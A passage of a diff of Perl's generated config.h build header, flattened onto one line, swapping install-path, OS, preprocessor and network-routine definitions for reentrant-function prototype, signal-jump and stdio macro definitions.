PERL_OTHERLIBDIRS " " / **/ +/* GETPWNAM_R_PROTO: + * This symbol encodes the prototype of getpwnam_r. + * It is zero if d_getpwnam_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwnam_r + * is defined. + */ +/*#define HAS_GETPWNAM_R / **/ +#define GETPWNAM_R_PROTO 0 /**/ -/* PRIVLIB: - * This symbol contains the name of the private library for this package. - * The library is private in the sense that it needn't be in anyone's - * execution path, but it should be accessible by the world. The program - * should be prepared to do ~ expansion. +/* HAS_GETPWUID_R: + * This symbol, if defined, indicates that the getpwuid_r routine + * is available to getpwuid re-entrantly. */ -/* PRIVLIB_EXP: - * This symbol contains the ~name expanded version of PRIVLIB, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* GETPWUID_R_PROTO: + * This symbol encodes the prototype of getpwuid_r. + * It is zero if d_getpwuid_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getpwuid_r + * is defined. */ -#define PRIVLIB "/opt/perl/lib/5.29.0" /**/ -#define PRIVLIB_EXP "/opt/perl/lib/5.29.0" /**/ +/*#define HAS_GETPWUID_R / **/ +#define GETPWUID_R_PROTO 0 /**/ -/* SITEARCH: - * This symbol contains the name of the private library for this package. - * The library is private in the sense that it needn't be in anyone's - * execution path, but it should be accessible by the world. The program - * should be prepared to do ~ expansion. - * The standard distribution will put nothing in this directory. - * After perl has been installed, users may install their own local - * architecture-dependent modules in this directory with - * MakeMaker Makefile.PL - * or equivalent. See INSTALL for details. +/* HAS_GETSERVBYNAME_R: + * This symbol, if defined, indicates that the getservbyname_r routine + * is available to getservbyname re-entrantly. */ -/* SITEARCH_EXP: - * This symbol contains the ~name expanded version of SITEARCH, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* GETSERVBYNAME_R_PROTO: + * This symbol encodes the prototype of getservbyname_r. + * It is zero if d_getservbyname_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyname_r + * is defined. */ -#define SITEARCH "/opt/perl/lib/site_perl/5.29.0/x86_64-linux" /**/ -#define SITEARCH_EXP "/opt/perl/lib/site_perl/5.29.0/x86_64-linux" /**/ +/*#define HAS_GETSERVBYNAME_R / **/ +#define GETSERVBYNAME_R_PROTO 0 /**/ -/* SITELIB: - * This symbol contains the name of the private library for this package. - * The library is private in the sense that it needn't be in anyone's - * execution path, but it should be accessible by the world. The program - * should be prepared to do ~ expansion. - * The standard distribution will put nothing in this directory. - * After perl has been installed, users may install their own local - * architecture-independent modules in this directory with - * MakeMaker Makefile.PL - * or equivalent. See INSTALL for details. - */ -/* SITELIB_EXP: - * This symbol contains the ~name expanded version of SITELIB, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* HAS_GETSERVBYPORT_R: + * This symbol, if defined, indicates that the getservbyport_r routine + * is available to getservbyport re-entrantly. */ -/* SITELIB_STEM: - * This define is SITELIB_EXP with any trailing version-specific component - * removed. The elements in inc_version_list (inc_version_list.U) can - * be tacked onto this variable to generate a list of directories to search. +/* GETSERVBYPORT_R_PROTO: + * This symbol encodes the prototype of getservbyport_r. + * It is zero if d_getservbyport_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservbyport_r + * is defined. */ -#define SITELIB "/opt/perl/lib/site_perl/5.29.0" /**/ -#define SITELIB_EXP "/opt/perl/lib/site_perl/5.29.0" /**/ -#define SITELIB_STEM "/opt/perl/lib/site_perl" /**/ +/*#define HAS_GETSERVBYPORT_R / **/ +#define GETSERVBYPORT_R_PROTO 0 /**/ -/* PERL_VENDORARCH: - * If defined, this symbol contains the name of a private library. - * The library is private in the sense that it needn't be in anyone's - * execution path, but it should be accessible by the world. - * It may have a ~ on the front. - * The standard distribution will put nothing in this directory. - * Vendors who distribute perl may wish to place their own - * architecture-dependent modules and extensions in this directory with - * MakeMaker Makefile.PL INSTALLDIRS=vendor - * or equivalent. See INSTALL for details. +/* HAS_GETSERVENT_R: + * This symbol, if defined, indicates that the getservent_r routine + * is available to getservent re-entrantly. */ -/* PERL_VENDORARCH_EXP: - * This symbol contains the ~name expanded version of PERL_VENDORARCH, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* GETSERVENT_R_PROTO: + * This symbol encodes the prototype of getservent_r. + * It is zero if d_getservent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getservent_r + * is defined. */ -/*#define PERL_VENDORARCH "" / **/ -/*#define PERL_VENDORARCH_EXP "" / **/ +/*#define HAS_GETSERVENT_R / **/ +#define GETSERVENT_R_PROTO 0 /**/ -/* PERL_VENDORLIB_EXP: - * This symbol contains the ~name expanded version of VENDORLIB, to be used - * in programs that are not prepared to deal with ~ expansion at run-time. +/* HAS_GETSPNAM_R: + * This symbol, if defined, indicates that the getspnam_r routine + * is available to getspnam re-entrantly. */ -/* PERL_VENDORLIB_STEM: - * This define is PERL_VENDORLIB_EXP with any trailing version-specific component - * removed. The elements in inc_version_list (inc_version_list.U) can - * be tacked onto this variable to generate a list of directories to search. +/* GETSPNAM_R_PROTO: + * This symbol encodes the prototype of getspnam_r. + * It is zero if d_getspnam_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_getspnam_r + * is defined. */ -/*#define PERL_VENDORLIB_EXP "" / **/ -/*#define PERL_VENDORLIB_STEM "" / **/ +/*#define HAS_GETSPNAM_R / **/ +#define GETSPNAM_R_PROTO 0 /**/ -/* OSNAME: - * This symbol contains the name of the operating system, as determined - * by Configure. You shouldn't rely on it too much; the specific - * feature tests from Configure are generally more reliable. +/* HAS_GMTIME_R: + * This symbol, if defined, indicates that the gmtime_r routine + * is available to gmtime re-entrantly. */ -/* OSVERS: - * This symbol contains the version of the operating system, as determined - * by Configure. You shouldn't rely on it too much; the specific - * feature tests from Configure are generally more reliable. +/* GMTIME_R_PROTO: + * This symbol encodes the prototype of gmtime_r. + * It is zero if d_gmtime_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_gmtime_r + * is defined. */ -#define OSNAME "linux" /**/ -#define OSVERS "3.16.0-4-amd64" /**/ +/*#define HAS_GMTIME_R / **/ +#define GMTIME_R_PROTO 0 /**/ -/* CAT2: - * This macro concatenates 2 tokens together. - */ -/* STRINGIFY: - * This macro surrounds its token with double quotes. +/* HAS_GNULIBC: + * This symbol, if defined, indicates to the C program that + * the GNU C library is being used. A better check is to use + * the __GLIBC__ and __GLIBC_MINOR__ symbols supplied with glibc. */ -#if 42 == 1 -#define CAT2(a,b) a/**/b -#define STRINGIFY(a) "a" -#endif -#if 42 == 42 -#define PeRl_CaTiFy(a, b) a ## b -#define PeRl_StGiFy(a) #a -#define CAT2(a,b) PeRl_CaTiFy(a,b) -#define StGiFy(a) PeRl_StGiFy(a) -#define STRINGIFY(a) PeRl_StGiFy(a) -#endif -#if 42 != 1 && 42 != 42 -#include "Bletch: How does this C preprocessor concatenate tokens?" +#define HAS_GNULIBC /**/ +#if defined(HAS_GNULIBC) && !defined(_GNU_SOURCE) +# define _GNU_SOURCE #endif -/* CPPSTDIN: - * This symbol contains the first part of the string which will invoke - * the C preprocessor on the standard input and produce to standard - * output. Typical value of "cc -E" or "/lib/cpp", but it can also - * call a wrapper. See CPPRUN. +/* HAS_ISASCII: + * This manifest constant lets the C program know that isascii + * is available. */ -/* CPPMINUS: - * This symbol contains the second part of the string which will invoke - * the C preprocessor on the standard input and produce to standard - * output. This symbol will have the value "-" if CPPSTDIN needs a minus - * to specify standard input, otherwise the value is "". +#define HAS_ISASCII /**/ + +/* HAS_LCHOWN: + * This symbol, if defined, indicates that the lchown routine is + * available to operate on a symbolic link (instead of following the + * link). */ -/* CPPRUN: - * This symbol contains the string which will invoke a C preprocessor on - * the standard input and produce to standard output. It needs to end - * with CPPLAST, after all other preprocessor flags have been specified. - * The main difference with CPPSTDIN is that this program will never be a - * pointer to a shell wrapper, i.e. it will be empty if no preprocessor is - * available directly to the user. Note that it may well be different from - * the preprocessor used to compile the C program. +#define HAS_LCHOWN /**/ + +/* HAS_LOCALTIME_R: + * This symbol, if defined, indicates that the localtime_r routine + * is available to localtime re-entrantly. */ -/* CPPLAST: - * This symbol is intended to be used along with CPPRUN in the same manner - * symbol CPPMINUS is used with CPPSTDIN. It contains either "-" or "". +/* LOCALTIME_R_NEEDS_TZSET: + * Many libc's localtime_r implementations do not call tzset, + * making them differ from localtime(), and making timezone + * changes using $ENV{TZ} without explicitly calling tzset + * impossible. This symbol makes us call tzset before localtime_r */ -#define CPPSTDIN "cc -E" -#define CPPMINUS "-" -#define CPPRUN "cc -E" -#define CPPLAST "-" +/*#define LOCALTIME_R_NEEDS_TZSET / **/ +#ifdef LOCALTIME_R_NEEDS_TZSET +#define L_R_TZSET tzset(), +#else +#define L_R_TZSET +#endif -/* HAS_ACCESS: - * This manifest constant lets the C program know that the access() - * system call is available to check for accessibility using real UID/GID. - * (always present on UNIX.) +/* LOCALTIME_R_PROTO: + * This symbol encodes the prototype of localtime_r. + * It is zero if d_localtime_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_localtime_r + * is defined. */ -#define HAS_ACCESS /**/ +/*#define HAS_LOCALTIME_R / **/ +#define LOCALTIME_R_PROTO 0 /**/ -/* HASATTRIBUTE_FORMAT: - * Can we handle GCC attribute for checking printf-style formats +/* HAS_OPEN3: + * This manifest constant lets the C program know that the three + * argument form of open(2) is available. */ -/* PRINTF_FORMAT_NULL_OK: - * Allows __printf__ format to be null when checking printf-style +#define HAS_OPEN3 /**/ + +/* OLD_PTHREAD_CREATE_JOINABLE: + * This symbol, if defined, indicates how to create pthread + * in joinable (aka undetached) state. NOTE: not defined + * if pthread.h already has defined PTHREAD_CREATE_JOINABLE + * (the new version of the constant). + * If defined, known values are PTHREAD_CREATE_UNDETACHED + * and __UNDETACHED. */ -/* HASATTRIBUTE_MALLOC: - * Can we handle GCC attribute for malloc-style functions. +/*#define OLD_PTHREAD_CREATE_JOINABLE / **/ + +/* HAS_PTHREAD_ATFORK: + * This symbol, if defined, indicates that the pthread_atfork routine + * is available to setup fork handlers. */ -/* HASATTRIBUTE_NONNULL: - * Can we handle GCC attribute for nonnull function parms. +/*#define HAS_PTHREAD_ATFORK / **/ + +/* HAS_PTHREAD_YIELD: + * This symbol, if defined, indicates that the pthread_yield + * routine is available to yield the execution of the current + * thread. sched_yield is preferable to pthread_yield. */ -/* HASATTRIBUTE_NORETURN: - * Can we handle GCC attribute for functions that do not return +/* SCHED_YIELD: + * This symbol defines the way to yield the execution of + * the current thread. Known ways are sched_yield, + * pthread_yield, and pthread_yield with NULL. */ -/* HASATTRIBUTE_PURE: - * Can we handle GCC attribute for pure functions +/* HAS_SCHED_YIELD: + * This symbol, if defined, indicates that the sched_yield + * routine is available to yield the execution of the current + * thread. sched_yield is preferable to pthread_yield. */ -/* HASATTRIBUTE_UNUSED: - * Can we handle GCC attribute for unused variables and arguments +#define HAS_PTHREAD_YIELD /**/ +#define SCHED_YIELD sched_yield() /**/ +#define HAS_SCHED_YIELD /**/ + +/* HAS_RANDOM_R: + * This symbol, if defined, indicates that the random_r routine + * is available to random re-entrantly. */ -/* HASATTRIBUTE_DEPRECATED: - * Can we handle GCC attribute for marking deprecated APIs +/* RANDOM_R_PROTO: + * This symbol encodes the prototype of random_r. + * It is zero if d_random_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_random_r + * is defined. */ -/* HASATTRIBUTE_WARN_UNUSED_RESULT: - * Can we handle GCC attribute for warning on unused results +/*#define HAS_RANDOM_R / **/ +#define RANDOM_R_PROTO 0 /**/ + +/* HAS_READDIR64_R: + * This symbol, if defined, indicates that the readdir64_r routine + * is available to readdir64 re-entrantly. */ -#define HASATTRIBUTE_DEPRECATED /**/ -#define HASATTRIBUTE_FORMAT /**/ -/*#define PRINTF_FORMAT_NULL_OK / **/ -#define HASATTRIBUTE_NORETURN /**/ -#define HASATTRIBUTE_MALLOC /**/ -#define HASATTRIBUTE_NONNULL /**/ -#define HASATTRIBUTE_PURE /**/ -#define HASATTRIBUTE_UNUSED /**/ -#define HASATTRIBUTE_WARN_UNUSED_RESULT /**/ - -/* HAS_BACKTRACE: - * This symbol, if defined, indicates that the backtrace() routine is - * available to get a stack trace. The header must be - * included to use this routine. +/* READDIR64_R_PROTO: + * This symbol encodes the prototype of readdir64_r. + * It is zero if d_readdir64_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir64_r + * is defined. */ -#define HAS_BACKTRACE /**/ +/*#define HAS_READDIR64_R / **/ +#define READDIR64_R_PROTO 0 /**/ -/* HASCONST: - * This symbol, if defined, indicates that this C compiler knows about - * the const type. There is no need to actually test for that symbol - * within your programs. The mere use of the "const" keyword will - * trigger the necessary tests. +/* HAS_READDIR_R: + * This symbol, if defined, indicates that the readdir_r routine + * is available to readdir re-entrantly. */ -#define HASCONST /**/ -#ifndef HASCONST -#define const -#endif +/* READDIR_R_PROTO: + * This symbol encodes the prototype of readdir_r. + * It is zero if d_readdir_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_readdir_r + * is defined. + */ +/*#define HAS_READDIR_R / **/ +#define READDIR_R_PROTO 0 /**/ -/* HAS_CSH: - * This symbol, if defined, indicates that the C-shell exists. +/* HAS_SAFE_BCOPY: + * This symbol, if defined, indicates that the bcopy routine is available + * to copy potentially overlapping memory blocks. Normally, you should + * probably use memmove() or memcpy(). If neither is defined, roll your + * own version. */ -/* CSH: - * This symbol, if defined, contains the full pathname of csh. +/*#define HAS_SAFE_BCOPY / **/ + +/* HAS_SAFE_MEMCPY: + * This symbol, if defined, indicates that the memcpy routine is available + * to copy potentially overlapping memory blocks. If you need to + * copy overlapping memory blocks, you should check HAS_MEMMOVE and + * use memmove() instead, if available. */ -#define HAS_CSH /**/ -#ifdef HAS_CSH -#define CSH "/bin/csh" /**/ -#endif +/*#define HAS_SAFE_MEMCPY / **/ -/* HAS_DLADDR: - * This symbol, if defined, indicates that the dladdr() routine is - * available to query dynamic linker information for an address. - * The header must be included to use this routine. +/* HAS_SANE_MEMCMP: + * This symbol, if defined, indicates that the memcmp routine is available + * and can be used to compare relative magnitudes of chars with their high + * bits set. If it is not defined, roll your own version. */ -#define HAS_DLADDR /**/ +#define HAS_SANE_MEMCMP /**/ -/* SETUID_SCRIPTS_ARE_SECURE_NOW: - * This symbol, if defined, indicates that the bug that prevents - * setuid scripts from being secure is not present in this kernel. +/* HAS_SETGRENT_R: + * This symbol, if defined, indicates that the setgrent_r routine + * is available to setgrent re-entrantly. */ -/* DOSUID: - * This symbol, if defined, indicates that the C program should - * check the script that it is executing for setuid/setgid bits, and - * attempt to emulate setuid/setgid on systems that have disabled - * setuid #! scripts because the kernel can't do it securely. - * It is up to the package designer to make sure that this emulation - * is done securely. Among other things, it should do an fstat on - * the script it just opened to make sure it really is a setuid/setgid - * script, it should make sure the arguments passed correspond exactly - * to the argument on the #! line, and it should not trust any - * subprocesses to which it must pass the filename rather than the - * file descriptor of the script to be executed. +/* SETGRENT_R_PROTO: + * This symbol encodes the prototype of setgrent_r. + * It is zero if d_setgrent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setgrent_r + * is defined. */ -/*#define SETUID_SCRIPTS_ARE_SECURE_NOW / **/ -/*#define DOSUID / **/ +/*#define HAS_SETGRENT_R / **/ +#define SETGRENT_R_PROTO 0 /**/ -/* HAS_ENDGRENT: - * This symbol, if defined, indicates that the getgrent routine is - * available for finalizing sequential access of the group database. +/* HAS_SETHOSTENT_R: + * This symbol, if defined, indicates that the sethostent_r routine + * is available to sethostent re-entrantly. */ -#define HAS_ENDGRENT /**/ - -/* HAS_ENDHOSTENT: - * This symbol, if defined, indicates that the endhostent() routine is - * available to close whatever was being used for host queries. +/* SETHOSTENT_R_PROTO: + * This symbol encodes the prototype of sethostent_r. + * It is zero if d_sethostent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_sethostent_r + * is defined. */ -#define HAS_ENDHOSTENT /**/ +/*#define HAS_SETHOSTENT_R / **/ +#define SETHOSTENT_R_PROTO 0 /**/ -/* HAS_ENDNETENT: - * This symbol, if defined, indicates that the endnetent() routine is - * available to close whatever was being used for network queries. +/* HAS_SETLOCALE_R: + * This symbol, if defined, indicates that the setlocale_r routine + * is available to setlocale re-entrantly. */ -#define HAS_ENDNETENT /**/ - -/* HAS_ENDPROTOENT: - * This symbol, if defined, indicates that the endprotoent() routine is - * available to close whatever was being used for protocol queries. +/* SETLOCALE_R_PROTO: + * This symbol encodes the prototype of setlocale_r. + * It is zero if d_setlocale_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setlocale_r + * is defined. */ -#define HAS_ENDPROTOENT /**/ +/*#define HAS_SETLOCALE_R / **/ +#define SETLOCALE_R_PROTO 0 /**/ -/* HAS_ENDPWENT: - * This symbol, if defined, indicates that the getgrent routine is - * available for finalizing sequential access of the passwd database. +/* HAS_SETNETENT_R: + * This symbol, if defined, indicates that the setnetent_r routine + * is available to setnetent re-entrantly. */ -#define HAS_ENDPWENT /**/ - -/* HAS_ENDSERVENT: - * This symbol, if defined, indicates that the endservent() routine is - * available to close whatever was being used for service queries. +/* SETNETENT_R_PROTO: + * This symbol encodes the prototype of setnetent_r. + * It is zero if d_setnetent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setnetent_r + * is defined. */ -#define HAS_ENDSERVENT /**/ +/*#define HAS_SETNETENT_R / **/ +#define SETNETENT_R_PROTO 0 /**/ -/* FLEXFILENAMES: - * This symbol, if defined, indicates that the system supports filenames - * longer than 14 characters. +/* HAS_SETPROTOENT_R: + * This symbol, if defined, indicates that the setprotoent_r routine + * is available to setprotoent re-entrantly. */ -#define FLEXFILENAMES /**/ - -/* HAS_GETGRENT: - * This symbol, if defined, indicates that the getgrent routine is - * available for sequential access of the group database. +/* SETPROTOENT_R_PROTO: + * This symbol encodes the prototype of setprotoent_r. + * It is zero if d_setprotoent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setprotoent_r + * is defined. */ -#define HAS_GETGRENT /**/ +/*#define HAS_SETPROTOENT_R / **/ +#define SETPROTOENT_R_PROTO 0 /**/ -/* HAS_GETHOSTBYADDR: - * This symbol, if defined, indicates that the gethostbyaddr() routine is - * available to look up hosts by their IP addresses. +/* HAS_SETPWENT_R: + * This symbol, if defined, indicates that the setpwent_r routine + * is available to setpwent re-entrantly. */ -#define HAS_GETHOSTBYADDR /**/ +/* SETPWENT_R_PROTO: + * This symbol encodes the prototype of setpwent_r. + * It is zero if d_setpwent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setpwent_r + * is defined. + */ +/*#define HAS_SETPWENT_R / **/ +#define SETPWENT_R_PROTO 0 /**/ -/* HAS_GETHOSTBYNAME: - * This symbol, if defined, indicates that the gethostbyname() routine is - * available to look up host names in some data base or other. +/* HAS_SETSERVENT_R: + * This symbol, if defined, indicates that the setservent_r routine + * is available to setservent re-entrantly. */ -#define HAS_GETHOSTBYNAME /**/ +/* SETSERVENT_R_PROTO: + * This symbol encodes the prototype of setservent_r. + * It is zero if d_setservent_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_setservent_r + * is defined. + */ +/*#define HAS_SETSERVENT_R / **/ +#define SETSERVENT_R_PROTO 0 /**/ -/* HAS_GETHOSTENT: - * This symbol, if defined, indicates that the gethostent() routine is - * available to look up host names in some data base or another. +/* HAS_SIGACTION: + * This symbol, if defined, indicates that Vr4's sigaction() routine + * is available. */ -#define HAS_GETHOSTENT /**/ +#define HAS_SIGACTION /**/ -/* HAS_GETHOSTNAME: - * This symbol, if defined, indicates that the C program may use the - * gethostname() routine to derive the host name. See also HAS_UNAME - * and PHOSTNAME. +/* HAS_SIGSETJMP: + * This variable indicates to the C program that the sigsetjmp() + * routine is available to save the calling process's registers + * and stack environment for later use by siglongjmp(), and + * to optionally save the process's signal mask. See + * Sigjmp_buf, Sigsetjmp, and Siglongjmp. */ -/* HAS_UNAME: - * This symbol, if defined, indicates that the C program may use the - * uname() routine to derive the host name. See also HAS_GETHOSTNAME - * and PHOSTNAME. +/* Sigjmp_buf: + * This is the buffer type to be used with Sigsetjmp and Siglongjmp. */ -/* PHOSTNAME: - * This symbol, if defined, indicates the command to feed to the - * popen() routine to derive the host name. See also HAS_GETHOSTNAME - * and HAS_UNAME. Note that the command uses a fully qualified path, - * so that it is safe even if used by a process with super-user - * privileges. +/* Sigsetjmp: + * This macro is used in the same way as sigsetjmp(), but will invoke + * traditional setjmp() if sigsetjmp isn't available. + * See HAS_SIGSETJMP. */ -/* HAS_PHOSTNAME: - * This symbol, if defined, indicates that the C program may use the - * contents of PHOSTNAME as a command to feed to the popen() routine - * to derive the host name. +/* Siglongjmp: + * This macro is used in the same way as siglongjmp(), but will invoke + * traditional longjmp() if siglongjmp isn't available. + * See HAS_SIGSETJMP. */ -#define HAS_GETHOSTNAME /**/ -#define HAS_UNAME /**/ -/*#define HAS_PHOSTNAME / **/ -#ifdef HAS_PHOSTNAME -#define PHOSTNAME "" /* How to get the host name */ +#define HAS_SIGSETJMP /**/ +#ifdef HAS_SIGSETJMP +#define Sigjmp_buf sigjmp_buf +#define Sigsetjmp(buf,save_mask) sigsetjmp((buf),(save_mask)) +#define Siglongjmp(buf,retval) siglongjmp((buf),(retval)) +#else +#define Sigjmp_buf jmp_buf +#define Sigsetjmp(buf,save_mask) setjmp((buf)) +#define Siglongjmp(buf,retval) longjmp((buf),(retval)) #endif -/* HAS_GETNETBYADDR: - * This symbol, if defined, indicates that the getnetbyaddr() routine is - * available to look up networks by their IP addresses. +/* HAS_SRAND48_R: + * This symbol, if defined, indicates that the srand48_r routine + * is available to srand48 re-entrantly. */ -#define HAS_GETNETBYADDR /**/ - -/* HAS_GETNETBYNAME: - * This symbol, if defined, indicates that the getnetbyname() routine is - * available to look up networks by their names. +/* SRAND48_R_PROTO: + * This symbol encodes the prototype of srand48_r. + * It is zero if d_srand48_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srand48_r + * is defined. */ -#define HAS_GETNETBYNAME /**/ +/*#define HAS_SRAND48_R / **/ +#define SRAND48_R_PROTO 0 /**/ -/* HAS_GETNETENT: - * This symbol, if defined, indicates that the getnetent() routine is - * available to look up network names in some data base or another. - */ -#define HAS_GETNETENT /**/ - -/* HAS_GETPROTOENT: - * This symbol, if defined, indicates that the getprotoent() routine is - * available to look up protocols in some data base or another. - */ -#define HAS_GETPROTOENT /**/ - -/* HAS_GETPGRP: - * This symbol, if defined, indicates that the getpgrp routine is - * available to get the current process group. - */ -/* USE_BSD_GETPGRP: - * This symbol, if defined, indicates that getpgrp needs one - * arguments whereas USG one needs none. - */ -#define HAS_GETPGRP /**/ -/*#define USE_BSD_GETPGRP / **/ - -/* HAS_GETPROTOBYNAME: - * This symbol, if defined, indicates that the getprotobyname() - * routine is available to look up protocols by their name. - */ -/* HAS_GETPROTOBYNUMBER: - * This symbol, if defined, indicates that the getprotobynumber() - * routine is available to look up protocols by their number. - */ -#define HAS_GETPROTOBYNAME /**/ -#define HAS_GETPROTOBYNUMBER /**/ - -/* HAS_GETPWENT: - * This symbol, if defined, indicates that the getpwent routine is - * available for sequential access of the passwd database. - * If this is not available, the older getpw() function may be available. - */ -#define HAS_GETPWENT /**/ - -/* HAS_GETSERVENT: - * This symbol, if defined, indicates that the getservent() routine is - * available to look up network services in some data base or another. - */ -#define HAS_GETSERVENT /**/ - -/* HAS_GETSERVBYNAME: - * This symbol, if defined, indicates that the getservbyname() - * routine is available to look up services by their name. +/* HAS_SRANDOM_R: + * This symbol, if defined, indicates that the srandom_r routine + * is available to srandom re-entrantly. */ -/* HAS_GETSERVBYPORT: - * This symbol, if defined, indicates that the getservbyport() - * routine is available to look up services by their port. +/* SRANDOM_R_PROTO: + * This symbol encodes the prototype of srandom_r. + * It is zero if d_srandom_r is undef, and one of the + * REENTRANT_PROTO_T_ABC macros of reentr.h if d_srandom_r + * is defined. */ -#define HAS_GETSERVBYNAME /**/ -#define HAS_GETSERVBYPORT /**/ +/*#define HAS_SRANDOM_R / **/ +#define SRANDOM_R_PROTO 0 /**/ -/* HAS_HTONL: - * This symbol, if defined, indicates that the htonl() routine (and - * friends htons() ntohl() ntohs()) are available to do network - * order byte swapping. +/* USE_STDIO_PTR: + * This symbol is defined if the _ptr and _cnt fields (or similar) + * of the stdio FILE structure can be used to access the stdio buffer + * for a file handle. If this is defined, then the FILE_ptr(fp) + * and FILE_cnt(fp) macros will also be defined and should be used + * to access these fields. */ -/* HAS_HTONS: - * This symbol, if defined, indicates that the htons() routine (and - * friends htonl() ntohl() ntohs()) are available to do network - * order byte swapping. +/* FILE_ptr: + * This macro is used to access the _ptr field (or equivalent) of the + * FILE structure pointed to by its argument. This macro will always be + * defined if USE_STDIO_PTR is defined. */ -/* HAS_NTOHL: - * This symbol, if defined, indicates that the ntohl() routine (and - * friends htonl() htons() ntohs()) are available to do network - * order byte swapping. +/* STDIO_PTR_LVALUE: + * This symbol is defined if the FILE_ptr macro can be used as an + * lvalue. */ -/* HAS_NTOHS: - * This symbol, if defined, indicates that the ntohs() routine (and - * friends htonl() htons() ntohl()) are available to do network - * order byte swapping. +/* FILE_cnt: + * This macro is used to access the _cnt field (or equivalent) of the + * FILE structure pointed to by its argument. This macro will always be + * defined if USE_STDIO_PTR is defined. */ -#define HAS_HTONL /**/ -#define HAS_HTONS /**/ -#define HAS_NTOHL /**/ -#define HAS_NTOHS /**/ - -/* HAS_LONG_DOUBLE: - * This symbol will be defined if the C compiler supports long - * doubles. +/* STDIO_CNT_LVALUE: + * This symbol is defined if the FILE_cnt macro can be used as an + * lvalue. */ -/* LONG_DOUBLESIZE: - * This symbol contains the size of a long double, so that the - * C preprocessor can make decisions based on it. It is only - * defined if the system supports long doubles. Note that this - * is sizeof(long double), which may include unused bytes. - */ -/* HAS_LDEXPL: - * This symbol, if defined, indicates that the ldexpl routine is - * available to shift a long double floating-point number - * by an integral power of 2. - */ -/* LONG_DOUBLEKIND: - * LONG_DOUBLEKIND will be one of - * LONG_DOUBLE_IS_DOUBLE - * LONG_DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN - * LONG_DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN - * LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN - * LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN - * LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE - * LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE - * LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE - * LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE - * LONG_DOUBLE_IS_VAX_H_FLOAT - * LONG_DOUBLE_IS_UNKNOWN_FORMAT - * It is only defined if the system supports long doubles. - */ -/* LONG_DOUBLE_STYLE_IEEE: - * This symbol, if defined, indicates that the long double - * is any of the IEEE 754 style long doubles: - * LONG_DOUBLE_STYLE_IEEE_STD, LONG_DOUBLE_STYLE_IEEE_EXTENDED, - * LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE. - */ -/* LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE: - * This symbol, if defined, indicates that the long double is - * the 128-bit double-double. - */ -/* LONG_DOUBLE_STYLE_IEEE_EXTENDED: - * This symbol, if defined, indicates that the long double is - * the 80-bit IEEE 754. Note that despite the 'extended' this - * is less than the 'std', since this is an extension of - * the double precision. - */ -/* LONG_DOUBLE_STYLE_IEEE_STD: - * This symbol, if defined, indicates that the long double is - * the 128-bit IEEE 754. - */ -/* LONG_DOUBLE_STYLE_VAX: - * This symbol, if defined, indicates that the long double is - * the 128-bit VAX format H. - */ -#define HAS_LDEXPL /**/ -#define HAS_LONG_DOUBLE /**/ -#ifdef HAS_LONG_DOUBLE -#define LONG_DOUBLESIZE 16 /**/ -#define LONG_DOUBLEKIND 3 /**/ -#define LONG_DOUBLE_IS_DOUBLE 0 -#define LONG_DOUBLE_IS_IEEE_754_128_BIT_LITTLE_ENDIAN 1 -#define LONG_DOUBLE_IS_IEEE_754_128_BIT_BIG_ENDIAN 2 -#define LONG_DOUBLE_IS_X86_80_BIT_LITTLE_ENDIAN 3 -#define LONG_DOUBLE_IS_X86_80_BIT_BIG_ENDIAN 4 -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE 5 -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE 6 -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_BE 7 -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_LE 8 -#define LONG_DOUBLE_IS_VAX_H_FLOAT 9 -#define LONG_DOUBLE_IS_UNKNOWN_FORMAT -1 -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LITTLE_ENDIAN LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_LE_LE /* back-compat */ -#define LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BIG_ENDIAN LONG_DOUBLE_IS_DOUBLEDOUBLE_128_BIT_BE_BE /* back-compat */ -#define LONG_DOUBLE_STYLE_IEEE -#undef LONG_DOUBLE_STYLE_IEEE_DOUBLEDOUBLE -#define LONG_DOUBLE_STYLE_IEEE_EXTENDED -#undef LONG_DOUBLE_STYLE_IEEE_STD -#undef LONG_DOUBLE_STYLE_VAX -#endif - -/* 